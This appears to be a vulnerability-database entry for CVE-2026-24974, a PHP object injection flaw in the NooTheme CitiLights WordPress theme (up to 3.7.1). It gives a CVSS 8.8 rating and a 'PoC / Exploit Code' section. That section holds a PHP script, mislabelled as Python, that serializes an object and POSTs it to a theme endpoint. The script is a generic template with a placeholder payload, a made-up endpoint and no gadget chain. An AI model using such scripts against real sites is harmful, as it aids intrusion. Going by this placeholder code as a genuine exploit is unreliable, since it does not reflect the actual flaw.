Deserialization of Untrusted Data vulnerability in NooTheme CitiLights noo-citilights allows Object Injection.This issue affects CitiLights: from n/a through <= 3.7.1.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
NooTheme CitiLights <= 3.7.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// PoC for CVE-2026-24974: PHP Object Injection
// Note: This is a generic example. The actual gadget chain depends on the theme's codebase.
class GenericObject {
public $data;
}
// Create the object to be injected
$payload_obj = new GenericObject();
$payload_obj->data = "malicious_command_or_shellcode";
// Serialize the object
$serialized_payload = serialize($payload_obj);
// Target URL (Vulnerable endpoint)
$target_url = "http://target-site/wp-content/themes/noo-citilights/vulnerable_endpoint.php";
// Send the payload using cURL
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "inject_param=" . urlencode($serialized_payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if ($response) {
echo "Payload sent. Check server for execution.\n";
} else {
echo "Failed to send payload.\n";
}
?>